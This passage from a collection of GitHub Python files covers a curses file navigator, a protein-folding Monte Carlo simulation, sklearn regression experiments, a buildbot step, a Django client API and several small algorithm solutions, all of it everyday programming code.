bracket)\n if self.fm.option:\n self.top.addstr('[', bracket)\n self.top.addstr(self.fm.option)\n self.top.addstr(']', bracket)\n except:\n pass\n self.top.noutrefresh()\n curses.doupdate()\n \n def cursor(self, y=None, on=True):\n \"\"\"Enable or disable cursor under y position.\"\"\"\n if y == None:\n y = self.y\n self.pad.move(y, 0)\n self.pad.clrtoeol()\n if on:\n self.pad.attron(REVERSE)\n self.wline(y)\n self.pad.attroff(REVERSE)\n else:\n self.wline(y)\n \n def run(self):\n \"\"\"Program event loop.\"\"\"\n while True:\n if self.y != self.j:\n self.cursor(self.j, False)\n self.cursor(self.y, True)\n begin = max(self.y-(self.rows-2-BLINES), 0)\n self.pad.refresh(begin, 0, 1, 0, self.rows-2, self.cols-1)\n self.j = self.y\n c = self.pad.getch()\n if c in (KEY_UP, ord('k')) and self.y > 0:\n self.y -= 1\n elif c in (KEY_DOWN, ord('j')) and self.y < self.lines-1:\n self.y += 1\n elif c in (KEY_RIGHT, ord('l'), KEY_ENTER):\n path = self.fm.contents[self.y]\n if path.type() == 'd':\n self.fm.cwd = os.path.join(self.fm.cwd, path.name)\n self.y = self.j = 0\n self.wcontents()\n else:\n file = os.path.join(self.fm.cwd, path.name)\n type = filetype(file)\n if type:\n prog = PROGS.get(type, False)\n else:\n name, ext = os.path.splitext(path.name)\n prog = PROGS.get(ext, False)\n if prog:\n cmd = '%s \"%s\" &>/dev/null &' % (prog, file)\n os.system(cmd)\n else:\n text = 'No program specified to open it.'\n attr = self.color.get('open_err', 0)\n self.win.addnstr(self.rows-1,0,text,self.cols-1,attr)\n self.win.refresh()\n self.win.getch()\n self.win.deleteln()\n self.win.refresh()\n elif c in (KEY_LEFT, ord('h')) and self.fm.cwd != '/':\n self.fm.cwd, last_dir = os.path.split(self.fm.cwd)\n self.y = self.j = 0\n self.wcontents()\n self.y = self.fm.names.index(last_dir)\n elif c == ord('q'):\n break\n elif c == KEY_RESIZE:\n self.rows, self.cols = self.win.getmaxyx()\n self.top = curses.newwin(1, self.cols)\n self.wcontents()\n elif c == KEY_ESC:\n self.win.move(self.rows-1, 0)\n ch = self.win.getch()\n if ch == ord(':'):\n self.win.addstr(':')\n curses.curs_set(1)\n curses.echo()\n input = self.win.getstr()\n self.command_line(input)\n curses.noecho()\n curses.curs_set(0)\n elif ch == KEY_ESC:\n pass\n elif ch == ord('h'):\n self.fm.cwd = os.path.expanduser('~')\n y = j = 0\n self.wcontents(y)\n\n def command_line(self, input):\n \"\"\"Do something based on user input.\"\"\"\n input = input.strip()\n if re.match(r'set\\s+noption', input):\n self.fm.option = ''\n self.wcontents()\n elif input.startswith('set'):\n a = re.match(r'set\\s+(\\w+)\\s+(\\w+)', input)\n if a:\n var, value = a.groups()\n if var == 'option':\n self.fm.option = value\n elif var == 'regex':\n self.fm.regex = r'%s' % value\n self.wcontents()\n \n","repo_name":"guisf/misc","sub_path":"fnav/navigator.py","file_name":"navigator.py","file_ext":"py","file_size_in_byte":12077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"35789901325","text":"import openpyxl\nimport consts\n\n\ndef execute(wb):\n sheets = wb.sheetnames\n\n # 不要シートを削除\n for sh_name in sheets:\n if sh_name not in consts.delete_list:\n wb.remove(wb[sh_name])\n\n # リネームして保存\n wb.save(consts.EXPORT_FILE_NAME)\n","repo_name":"yoshi2045/Money-management-tool-for-demo","sub_path":"export_for_accounting_firm.py","file_name":"export_for_accounting_firm.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"20780691344","text":"\"\"\"\nStrter code for protein folding\nAuthor: Nicolas Grisuard, based on a script by Paul Kushner\n\"\"\"\n\nfrom random import random, randrange\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import rc\n\n\ndef calc_energy(monomer_coords, monomer_array):\n \"\"\" Compute energy of tertiary structure of protein \"\"\"\n energy = 0.0\n\n # compute energy due to all adjacencies (incl. directly bonded monomers)\n for i in range(N):\n for nghbr in [[-1, 0], [1, 0], [0, -1], [0, 1]]: # 4 neighbours\n nghbr_monomer = monomer_array[monomer_coords[i, 0] + nghbr[0],\n monomer_coords[i, 1]+nghbr[1]]\n\n if nghbr_monomer == 1: # check neighbour is not empty\n energy += eps\n\n # divide by 2 to correct for double-counting\n energy = .5*energy\n\n # correct energy to not count directly bonded monomer neighbours\n energy -= (N-1)*eps\n\n return energy\n\n\ndef dist(position1, position2):\n \"\"\" Compute distance \"\"\"\n return ((position1[0]-position2[0])**2+(position1[1]-position2[1])**2)**.5\n\n\nfont = {'family': 'DejaVu Sans', 'size': 14} # adjust fonts\nrc('font', **font)\ndpi = 150\n\n\neps = -5.0 # interaction energy\nN = 30 # length of protein\nT = 1.5 # temperature for Monte Carlo\nn = int(1e5) # number of Monte Carlo steps\n\nenergy_array = np.zeros(n) # initialize array to hold energy\n\n# initialize arrays to store protein information\n# 1st column is x coordinates, 2nd column is y coordinates, of all N monomers\nmonomer_coords = np.zeros((N, 2), dtype='int')\n\n# initialize position of polymer as horizontal line in middle of domain\nmonomer_coords[:, 0] = range(N//2, 3*N//2)\nmonomer_coords[:, 1] = N\n\n# 2D array representing lattice,\n# equal to 0 when a lattice point is empty,\n# and equal to 1 when there is a monomer at the lattice point\nmonomer_array = np.zeros((2*N+1, 2*N+1), dtype='int')\n\n# fill lattice array\nfor i in range(N):\n monomer_array[monomer_coords[i, 0], monomer_coords[i, 1]] = 1\n\n# calculate energy of initial protein structure\nenergy = calc_energy(monomer_coords, monomer_array)\n\n# do Monte Carlo procedure to find optimal protein structure\nfor j in range(n):\n energy_array[j] = energy\n\n # move protein back to centre of array\n shift_x = int(np.mean(monomer_coords[:, 0])-N)\n shift_y = int(np.mean(monomer_coords[:, 1])-N)\n monomer_coords[:, 0] -= shift_x\n monomer_coords[:, 1] -= shift_y\n monomer_array = np.roll(monomer_array, -shift_x, axis=0)\n monomer_array = np.roll(monomer_array, -shift_y, axis=1)\n\n # pick random monomer\n i = randrange(N)\n cur_monomer_pos = monomer_coords[i, :]\n\n # pick random diagonal neighbour for monomer\n direction = randrange(4)\n\n if direction == 0:\n neighbour = np.array([-1, -1]) # left/down\n elif direction == 1:\n neighbour = np.array([-1, 1]) # left/up\n elif direction == 2:\n neighbour = np.array([1, 1]) # right/up\n elif direction == 3:\n neighbour = np.array([1, -1]) # right/down\n\n new_monomer_pos = cur_monomer_pos + neighbour\n\n # check if neighbour lattice point is empty\n if monomer_array[new_monomer_pos[0], new_monomer_pos[1]] == 0:\n # check if it is possible to move monomer to new position without\n # stretching chain\n distance_okay = False\n if i == 0:\n if dist(new_monomer_pos, monomer_coords[i+1, :]) < 1.1:\n distance_okay = True\n elif i == N-1:\n if dist(new_monomer_pos, monomer_coords[i-1, :]) < 1.1:\n distance_okay = True\n else:\n if dist(new_monomer_pos, monomer_coords[i-1, :]) < 1.1 \\\n and dist(new_monomer_pos, monomer_coords[i+1, :]) < 1.1:\n distance_okay = True\n\n if distance_okay:\n # calculate new energy\n new_monomer_coords = np.copy(monomer_coords)\n new_monomer_coords[i, :] = new_monomer_pos\n\n new_monomer_array = np.copy(monomer_array)\n new_monomer_array[cur_monomer_pos[0], cur_monomer_pos[1]] = 0\n new_monomer_array[new_monomer_pos[0], new_monomer_pos[1]] = 1\n\n new_energy = calc_energy(new_monomer_coords, new_monomer_array)\n\n if random() < np.exp(-(new_energy-energy)/T):\n # make switch\n energy = new_energy\n monomer_coords = np.copy(new_monomer_coords)\n monomer_array = np.copy(new_monomer_array)\n\nplt.figure()\nplt.title('$T$ = {0:.1f}, $N$ = {1:d}'.format(T, N))\nplt.plot(energy_array)\nplt.xlabel('MC step')\nplt.ylabel('Energy')\nplt.grid()\nplt.tight_layout()\nplt.savefig('energy_vs_step_T{0:d}_N{1:d}_n{2:d}.pdf'.format(int(10*T), N, n),\n dpi=dpi)\n\nplt.figure()\nplt.plot(monomer_coords[:, 0], monomer_coords[:, 1], '-k') # plot bonds\nplt.title('$T$ = {0:.1f}, Energy = {1:.1f}'.format(T, energy))\n# plot monomers\nfor i in range(N):\n plt.plot(monomer_coords[i, 0], monomer_coords[i, 1], '.r', markersize=15)\nplt.xlim([N/3.0, 5.0*N/3.0])\nplt.ylim([N/3.0, 5.0*N/3.0])\nplt.axis('equal')\n# plt.xticks([]) # we just want to see the shape\n# plt.yticks([])\nplt.tight_layout()\nplt.savefig('final_protein_T{0:d}_N{1:d}_n{2:d}.pdf'.format(int(10*T), N, n),\n dpi=dpi)\n\nprint('Energy averaged over last half of simulations is: {0:.2f}'\n .format(np.mean(energy_array[n//2:])))\n\nplt.show()\n","repo_name":"mdiamon/PHY407-UofT","sub_path":"Week11/L11-protein-start.py","file_name":"L11-protein-start.py","file_ext":"py","file_size_in_byte":5383,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"0"}
+{"seq_id":"34777659705","text":"import sys\ninput = sys.stdin.readline\n\nstring1 = input().strip()\nstring2 = input().strip()\nN, M = len(string1), len(string2)\ndp = [[0 for _ in range(M + 1)] for _ in range(N + 1)]\n\nfor i in range(1, N + 1):\n for j in range(1, M + 1):\n if string1[i - 1] == string2[j - 1]:\n dp[i][j] = dp[i - 1][j - 1] + 1\n else:\n dp[i][j] = max(dp[i][j - 1] , dp[i - 1][j])\n\npart_string = ''\nwhile i > 0 and j > 0:\n if dp[i][j - 1] == dp[i][j] - 1 and dp[i - 1][j] == dp[i][j] - 1:\n part_string = string1[i - 1] + part_string\n i -= 1\n j -= 1\n else:\n if dp[i][j - 1] > dp[i - 1][j]:\n j -= 1\n else:\n i -= 1\n\nprint(dp[N][M])\nprint(part_string)","repo_name":"LeeJ1nHyeong/Baekjoon","sub_path":"GOLD/G4_9252_LCS2.py","file_name":"G4_9252_LCS2.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"19811349747","text":"from twisted.python import log\nfrom buildbot.steps import shell\nfrom buildbot.process.buildstep import RemoteShellCommand\n \n# Executes a remote command with changed files appended onto the end\nclass ShellCommandChangeList(shell.ShellCommand):\n\tdef start(self):\n\t\t# Substitute build properties into command\n\t\t#command = self._interpolateProperties(self.command)\n\t\tcommand = self.command\n\t\t# fail assert if command is not of correct type\n\t\tassert isinstance(command, (list, tuple, str))\n\n\t\t# Get changed file list from the build which invoked this step\n\t\tfiles = self.build.allFiles()\n\n\t\t# Now we can do whatever we want with the list of changed files.\n\t\t# I will just append them to the end of the command.\n\n\t\t## IGNORE THIS\n\t\t#log.msg(\"Build Files (STR): %s\" % files)\n\t\t#files = \" -t {quot}{files}{quot}\".format(files=\" \".join(files),quot='\"')\n\t\t#command += files\n\t\t#log.msg(\"Build Files (TUPLE): %s\" % files)\n\t\t#command += tuple([\"-t\", \"{files}\".format(files=\" \".join(files))])\n\t\t#elif isinstance(command, list):\n\t\t#\tlog.msg(\"Build Files (LIST): %s\" % files)\n\t\t#\tcommand += [\"-t\", \"{files}\".format(files=\" \".join(files))]\n\n\t\t# Convert file list so it can be appended to the command's type\n\t\tif isinstance(command, str):\n\t\t\tfiles = \" \".join(files)\n\t\telif isinstance(command, tuple):\n\t\t\tfiles = tuple(files)\n\n\t\t# .. and append files to end of command\n\t\t# (the type 'lists' is not handled above because it doesn't have to be)\n\t\tcommand += files\n\n\t\t# We have created the final command string\n\t\t# so we can fill out the arguments for a RemoteShellCommand\n\t\t# using our new command string\n\t\tkwargs = self.remote_kwargs\n\t\tkwargs['command'] = command\n\t\tkwargs['logfiles'] = self.logfiles\n\t\tkwargs['timeout'] = 3600\n\n\t\t# Create the RemoteShellCommand and start it\n\t\tcmd = RemoteShellCommand(**kwargs)\n\t\tself.setupEnvironment(cmd)\n\t\t#self.checkForOldSlaveAndLogfiles()\n\t\tself.startCommand(cmd)\n","repo_name":"void-linux/void-infrastructure","sub_path":"ansible/roles/buildmaster/files/ShellCommandChangeList.py","file_name":"ShellCommandChangeList.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"0"}
+{"seq_id":"30425551847","text":"# ---\n# jupyter:\n# jupytext:\n# cell_metadata_filter: all\n# notebook_metadata_filter: all,-language_info\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.3.3\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\nimport pandas as pd\nimport numpy as np\n\ndata = pd.read_csv('../data/analysis/study_pop.csv')\n\ndata.head()\n\ndata = data[['Patient_ID']]\n\ndata.head()\n\n# +\noutcome = [1, 0, 0,0,0,0]\n\ndata['death'] = np.random.randint(0, len(outcome), len(data))\ndata['death'] = data['death'].apply(lambda i: outcome[i])\n# -\n\ndata.head()\n\ndata.to_csv('../data/analysis/outcome.csv')\n\n\n","repo_name":"opensafely/tpp-sql-notebook","sub_path":"notebooks/diffable_python/outcome_data.py","file_name":"outcome_data.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"74567503395","text":"#\n# @lc app=leetcode.cn id=704 lang=python3\n#\n# [704] 二分查找\n#\nfrom typing import List\n# @lc code=start\nclass Solution:\n def search(self, nums: List[int], target: int) -> int:\n left = 0\n right = len(nums) - 1\n while left <= right:\n n = (left + right) // 2\n if nums[n] < target:\n left = n + 1\n elif nums[n] > target:\n right = n - 1\n else:\n return n\n return -1\n \nS = Solution()\nprint(S.search(nums = [-1,0,3,5,9,12], target = -1))\n# @lc code=end\n\n","repo_name":"xingkongliang/leetcode-exercise","sub_path":"704.二分查找.py","file_name":"704.二分查找.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"21409266236","text":"# https://blog.csdn.net/SA14023053/article/details/51703204\n# https://vinking934296.iteye.com/blog/2357242\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport glob\nfrom sklearn.linear_model import LinearRegression # 导入线性回归模型\nfrom sklearn.preprocessing import PolynomialFeatures # 导入多项式回归模型\nfrom sklearn import svm\nfrom sklearn import tree\nfrom sklearn import neighbors\nfrom sklearn import ensemble\nfrom sklearn.metrics import r2_score\nfrom sklearn.decomposition import PCA\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.cross_validation import cross_val_score\nfrom sklearn.multioutput import MultiOutputRegressor\nimport graphviz\nimport pydotplus\nfrom sklearn import tree\nfrom IPython.display import Image\nimport os\n\nnp.set_printoptions(suppress=True)\n# 加载txt和csv文件\ndef loadtxtAndcsv_data(fileName, split, dataType):\n return np.loadtxt(fileName, delimiter=split, dtype=dataType)\n\ndef generate_batches(file_path, allFiles, split):\n allFiles = glob.glob(file_path + allFiles)\n list = []\n\n for f in allFiles:\n f = loadtxtAndcsv_data(f, split, np.float64)\n list.append(f)\n\n # 把数组联合在一起\n X_Train = np.concatenate(list)\n return X_Train\n\nlinear_loss = []\npolynomial_loss = []\nKNN_loss = []\ntree_loss = []\nforest_loss = []\n\npredict_list = []\nreal_list = []\n\ny_train = generate_batches(\"../documents/MLK_Input/\", \"/newInput_*.txt\", \" \") # (6400, 64)\ny_train = np.reshape(y_train, (-1, 4096)) # 100 * 4096\n# y_train = np.argmax(y_train, axis=1)\n\nx_train = generate_batches(\"../documents/MLK_Output/\", \"/newOutput_64_*.txt\", \",\")\nx_train = np.reshape(x_train, (-1, 4096)) # 100 * 4096\n# x_train = np.argmax(x_train, axis=1)\n\nx_train,x_test, y_train, y_test\t = train_test_split(x_train, y_train, test_size = 0.2, random_state = 0) # 372 93\n\nx_train -= np.mean(x_train, axis=0) # 减去均值,使得以0为中心\nx_train /= np.std(x_train, axis=0) # 归一化\ny_train -= np.mean(y_train, axis=0) # 减去均值,使得以0为中心\ny_train /= np.std(y_train, axis=0) # 标准化\nx_test -= np.mean(x_test, axis=0) # 减去均值,使得以0为中心\nx_test /= np.std(x_test, axis=0) # 归一化\n\ndef performance_metric(y_true, y_predict):\n score = r2_score(y_true, y_predict)\n return score\n\ndef plot(y_predict):\n # plt.scatter(x_test, y_test, color='green', marker='o', label='real points')\n # plt.scatter(x_test, y_test, color='green', marker='o', label='real points')\n plt.scatter(y_test, y_predict, color='red', marker='v', label='x:y_test, y:predicted')\n # plt.scatter(x_train[:, 1], y_train[:, 1], c='r', marker='o')\n plt.legend()\n plt.show()\n\ndef virsualTree(model_tree):\n # data_target_name = np.unique(data_[\"class\"])\n # dot_tree = tree.export_graphviz(model_tree, out_file=None, feature_names=data_feature_name,\n # class_names=data_target_name, filled=True, rounded=True, special_characters=True)\n dot_tree = tree.export_graphviz(model_tree, out_file=None, filled=True, rounded=True, special_characters=True)\n graph = pydotplus.graph_from_dot_data(dot_tree)\n img = Image(graph.create_png())\n graph.write_png(\"out.png\")\n\n\n# 多项式回归\ndef polynomial():\n print(\"polynomial trainning ...\")\n\n n_features = 10\n train_X = x_train[:, 0:n_features]\n train_Y = y_train[:, 0:n_features]\n test_X = x_test[:, 0:n_features]\n test_Y = y_test[:, 0:n_features]\n\n polynomial = PolynomialFeatures(degree=2) # 二次多项式\n x_transformed = polynomial.fit_transform(train_X) # x每个数据对应的多项式系数\n # print(x_transformed.shape) (100, 8394753)\n\n model = LinearRegression() # 创建回归器\n model.fit(x_transformed, train_Y) # 训练数据\n\n xx_transformed = polynomial.transform(test_X)\n predict_Y = model.predict(xx_transformed)\n\n test_Y.reshape(-1)\n predict_Y.reshape(-1)\n\n for i in range(len(predict_Y)):\n loss = abs(predict_Y[i] - test_Y[i])\n polynomial_loss.append(loss)\n\n print(\"polynomial_y_predict: \", predict_Y)\n print(\"polynomial:\\nmean: {}, max: {}, min: {}\".format(np.mean(polynomial_loss), np.max(polynomial_loss),\n np.min(polynomial_loss)))\n pass\n\n\n# R-squared value, The mean squared error, The mean absoluate error\ndef try_different_method(model, lossList, pca, x_train, x_test):\n#def try_different_method(model, lossList):\n pca = PCA(n_components=pca)\n #print('pca.explained_variance_ratio_: ', pca.explained_variance_ratio_)\n #print('pca.explained_variance_: ', pca.explained_variance_)\n x_train = pca.fit_transform(x_train)\n model.fit(x_train,y_train)\n\n x_test = pca.transform(x_test)\n y_predict = model.predict(x_test)\n y_predict *= np.std(y_train, axis=0)\n y_predict += np.mean(y_train, axis=0)\n\n # virsualTree(model)\n #\n # score = model.score(x_test, y_test)\n # print(\"{0}.score: {1}\".format(model, score))\n # print(mean_squared_error(ss_y.inverse_transform(y_test), ss_y.inverse_transform(y_predict)))\n\n [rows, cols] = y_predict.shape\n\n for i in range(len(rows)):\n for j in range(len(cols)):\n loss = abs(y_predict[i][j] - y_test[i][j])\n lossList.append(loss)\n\n return lossList\n\ndef linear():\n linear_Model = LinearRegression()\n\n try_different_method(linear_Model, linear_loss, 2, x_train, x_test)\n print(\"linear:\\nmean: {}, max: {}, min: {}\".format(np.mean(linear_loss), np.max(linear_loss), np.min(linear_loss)))\n\n # print(\"coef_: {}\".format(linear_Model.coef_))\n # print(\"intercept_:{}\".format(linear_Model.intercept_))\n # mean: 1.0280860607281284e-09, max: 6.461050361394882e-09, min: 0.0\n\n\n# https://blog.csdn.net/u014727529/article/details/78422538\ndef decisionTree():\n tree_Model = tree.DecisionTreeRegressor(max_depth=3)\n try_different_method(tree_Model, tree_loss, 2, x_train, x_test)\n print(\"decisionTree mean error: {}\".format(np.mean(tree_loss)))\n # for i in range(10):\n # tree_Model = tree.DecisionTreeRegressor(max_depth=3) # max_depth=(i+1)\n #\n # #scores = cross_val_score(tree_Model, x_train, y_train)\n # #print(\"score: {}\".format(scores))\n #\n # #try_different_method(tree_Model, tree_loss)\n # try_different_method(tree_Model, tree_loss, 100 * (i+1) , x_train, x_test)\n #\n # print(\"tree {}: mean: {}, max: {}, min: {}\".format(i, np.mean(tree_loss), np.max(tree_loss), np.min(tree_loss)))\n # tree_mean.append(np.mean(tree_loss))\n # tree_min.append(np.min(tree_loss))\n # print(\"***********************************************\")\n\ndef KNN():\n # SVM_Model = svm.SVR(kernel='linear') # kernel='linear' # kernel='poly' # kernel='rbf'\n KNN_Model = neighbors.KNeighborsRegressor()\n try_different_method(KNN_Model, KNN_loss)\n\n # multioutputregressor = MultiOutputRegressor(xgb.XGBRegressor(objective='reg:linear')).fit(X, y)\n # multioutputregressor.predict(X)\n\n # knn = neighbors.KNeighborsRegressor()\n # regr = MultiOutputRegressor(knn)\n # regr.fit(x_train, y_train)\n # y_predict = regr.predict(x_test)\n # print(y_predict)\n #\n # for i in range(len(y_predict)):\n # loss = abs(y_predict[i] - y_test[i])\n # KNN_loss.append(loss)\n\n # mean: 272.4132804820311, max: 1036.5285434000107, min: 1.4551915228366852e-11\n print(\"SVM:\\nmean: {}, max: {}, min: {}\".format(np.mean(KNN_loss), np.max(KNN_loss), np.min(KNN_loss)))\n\n# https://stats.stackexchange.com/questions/153853/regression-with-scikit-learn-with-multiple-outputs-svr-or-gbm-possible\ndef randomForest():\n rf = ensemble.RandomForestRegressor(n_estimators=20) # 20 decisionTree\n try_different_method(rf,forest_loss)\n\n # mean: 85.39847382499866, max: 221.62649005001003, min: 9.098004750005202\n print(\"forest:\\nmean: {}, max: {}, min: {}\".format(np.mean(forest_loss), np.max(forest_loss), np.min(forest_loss)))\n\nif __name__ == '__main__':\n # test()\n # plot()\n # KNN()\n # SVM()\n decisionTree()\n # polynomial()\n # linear()\n # randomForest()\n\n\n","repo_name":"15940260868/HDK_On_Electrode_Arrays","sub_path":"Machine_Learning_Models/5MutiMethod_pre.py","file_name":"5MutiMethod_pre.py","file_ext":"py","file_size_in_byte":8137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"24486397761","text":"from backend.serializers.serializers import FullSerializer\nfrom backend.decorators import required_roles, return_object, return_list, load, log\nfrom backend.toolbox import Toolbox\nfrom oauth2.toolbox import Toolbox as OAuth2Toolbox\nfrom rest_framework import status, viewsets\nfrom rest_framework.exceptions import PermissionDenied\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\nfrom ovs.dal.hybrids.client import Client\nfrom ovs.dal.hybrids.role import Role\nfrom ovs.dal.hybrids.j_roleclient import RoleClient\nfrom ovs.dal.lists.clientlist import ClientList\n\n\nclass ClientViewSet(viewsets.ViewSet):\n \"\"\"\n Information about Clients\n \"\"\"\n permission_classes = (IsAuthenticated,)\n prefix = r'clients'\n base_name = 'clients'\n\n @log()\n @required_roles(['read'])\n @return_list(Client)\n @load()\n def list(self, request, userguid=None, ovs_type=None):\n \"\"\"\n Lists all available Clients where the logged in user has access to\n \"\"\"\n if Toolbox.is_client_in_roles(request.client, ['manage']):\n client_list = ClientList.get_clients()\n else:\n if ovs_type is not None and ovs_type != 'INTERNAL':\n client_list = [client for client in request.client.user.clients if client.ovs_type == ovs_type]\n else:\n client_list = [client for client in request.client.user.clients if client.ovs_type != 'INTERNAL']\n if userguid is not None:\n return [client for client in client_list if client.user_guid == userguid]\n return client_list\n\n @log()\n @required_roles(['read'])\n @return_object(Client)\n @load(Client)\n def retrieve(self, request, client):\n \"\"\"\n Load information about a given Client\n Only the currently logged in User's Clients are accessible, or all if the logged in User has a\n system role\n \"\"\"\n _ = format\n if client.guid in request.client.user.clients_guids or Toolbox.is_client_in_roles(request.client, ['manage']):\n return client\n raise PermissionDenied('Fetching client information not allowed')\n\n @log()\n @required_roles(['read', 'write'])\n @load()\n def create(self, request, role_guids=None):\n \"\"\"\n Creates a Client\n \"\"\"\n if 'role_guids' in request.DATA:\n del request.DATA['role_guids']\n serializer = FullSerializer(Client, instance=Client(), data=request.DATA)\n if serializer.is_valid():\n client = serializer.object\n if client.user is not None:\n if client.user_guid == request.client.user_guid or Toolbox.is_client_in_roles(request.client, ['manage']):\n client.grant_type = 'CLIENT_CREDENTIALS'\n client.client_secret = OAuth2Toolbox.create_hash(64)\n serializer.save()\n if not role_guids:\n roles = [junction.role for junction in client.user.group.roles]\n else:\n possible_role_guids = [junction.role_guid for junction in client.user.group.roles]\n roles = [Role(guid) for guid in role_guids if guid in possible_role_guids]\n for role in roles:\n roleclient = RoleClient()\n roleclient.client = client\n roleclient.role = role\n roleclient.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n @log()\n @required_roles(['read', 'write'])\n @load(Client)\n def destroy(self, request, client):\n \"\"\"\n Deletes a user\n \"\"\"\n if client.user_guid == request.client.user_guid or Toolbox.is_client_in_roles(request.client, ['manage']):\n for token in client.tokens:\n for junction in token.roles.itersafe():\n junction.delete()\n token.delete()\n for junction in client.roles.itersafe():\n junction.delete()\n client.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n raise PermissionDenied('Deleting this client is now allowed')\n","repo_name":"th3architect/framework","sub_path":"webapps/api/backend/views/clients.py","file_name":"clients.py","file_ext":"py","file_size_in_byte":4344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"0"}
+{"seq_id":"13022195940","text":"from backbone import vgg\nfrom ._utils import IntermediateLayerGetter\nfrom .fcn import FCN, FCNHead, SkipArch\n\n__all__ = ['fcn_vgg16', 'fcn_vgg19']\n\n\ndef _segm_vgg(backbone_name, num_classes, arch, pretrained_backbone=False):\n backbone = vgg.__dict__[backbone_name](\n pretrained=pretrained_backbone)\n\n return_layers = {'pool5': 'out'}\n if arch:\n return_layers['pool4'] = 'pool4'\n return_layers['pool3'] = 'pool3'\n backbone = IntermediateLayerGetter(backbone, return_layers=return_layers)\n\n inplanes = 512\n classifier = FCNHead(inplanes, num_classes)\n\n skip_arch_0 = None # layer3: inplanes = 512\n skip_arch_1 = None # layer2: inplanes = 256\n if arch:\n aux_classifier_0 = FCNHead(inplanes, num_classes)\n skip_arch_0 = SkipArch(aux_classifier_0, num_classes)\n if arch == 'fcn8s':\n inplanes = 256\n aux_classifier_1 = FCNHead(inplanes, num_classes)\n skip_arch_1 = SkipArch(aux_classifier_1, num_classes)\n\n model = FCN(backbone, classifier, skip_arch_0, skip_arch_1)\n return model\n\n\ndef fcn_vgg16(num_classes=1, arch_type=None, **kwargs):\n '''\n Constructs a Fully-Convolutional Network model with a Vgg19 backbone.\n '''\n return _segm_vgg('vgg16', num_classes, arch_type, **kwargs)\n\n\ndef fcn_vgg19(num_classes=1, arch_type=None, **kwargs):\n '''\n Constructs a Fully-Convolutional Network model with a Vgg19 backbone.\n '''\n return _segm_vgg('vgg19', num_classes, arch_type, **kwargs)\n","repo_name":"PPPrior/IrisSegNet","sub_path":"model/segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"29492533315","text":"def solution(n, k):\n answer = 0\n bases = \"0123456789\"\n def changer(num, base) :\n q, r = divmod(num, base)\n if q == 0 :\n return bases[r]\n else :\n return changer(q, base)+ bases[r] \n convertedN = changer(n,k)\n print(convertedN)\n temp = \"\"\n nums = []\n for i in range(len(convertedN)):\n if convertedN[i] != '0':\n temp+=convertedN[i]\n elif temp :\n nums.append(int(temp))\n temp = \"\"\n if temp:\n nums.append(int(temp))\n if len(nums) == 1:\n for i in range(2,int(nums[0]**0.5)+1):\n if nums[0]% i == 0:\n return 0\n if nums[0] == 1:\n return 0\n return 1\n else:\n maxNum = max(nums)\n primes = [0]*(maxNum+1)\n primes[1] = 1\n for i in range(2, int(maxNum**0.5)+1):\n for j in range(i+i,maxNum+1,i):\n primes[j] = 1\n for num in nums:\n if not primes[num]:\n answer+=1\n return answer\nprint(solution(1,6))","repo_name":"MinsangKong/Study","sub_path":"2020Kakao/09/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"10273093950","text":"import os\nimport argparse\nimport pandas as pd\n\nfrom typing import Tuple\nfrom urllib.request import quote\nfrom bs4 import BeautifulSoup as soup\nfrom urllib.request import urlopen as uReq\nfrom progress.bar import FillingCirclesBar\n\nSEARCH_FILE = 'search_list.txt'\nRESULT_FILE = 'result.csv'\nTHEATER_DICT = {\n 'Megogo': ['https://megogo.ru/ru/search-extended?q=',\n ('h3', 'video-title')],\n 'Okko': ['https://okko.tv/search/', ('span', '_7NsSm')],\n 'Tnt_premier': ['https://premier.one/search?query=',\n ('div', 'slider-title')],\n 'Tvigle': ['https://www.tvigle.ru/search/?q=',\n ('div', 'product-list__item_name')],\n 'Wink': ['https://wink.rt.ru/search?query=',\n ('h4', 'root_r1ru04lg title_tyrtgqg root_subtitle2_r18emsye')],\n}\n\n\ndef search(title: str, theater_handler: str) -> bool:\n \"\"\"\n Check if online movie theater have specified movie.\n\n Checking is performed with parsing the HTML file addressed with url from\n THEATER_DICT. If given title could be found on this page true value\n returned, if not than false.\n\n Parameters ---------- title: str, movie to found theater_handler: str,\n handler of theater to find in. Can be found in THEATER_DICT\n\n Returns\n -------\n Bool\n True if movie was found, false if wasn't\n \"\"\"\n meta = THEATER_DICT.get(theater_handler)\n title = title.lower().strip()\n target_url = THEATER_DICT.get(theater_handler)[0] + quote(title)\n\n client = uReq(target_url)\n target_page = client.read()\n client.close()\n\n page_soup = soup(target_page, 'lxml')\n containers = page_soup.findAll(meta[1][0], {'class': meta[1][1]})\n founded_titles = [container.text.strip().lower() for container in\n containers]\n result = True if title in founded_titles else False\n return result\n\n\ndef get_titles(file_handler=None) -> list:\n \"\"\"\n Get 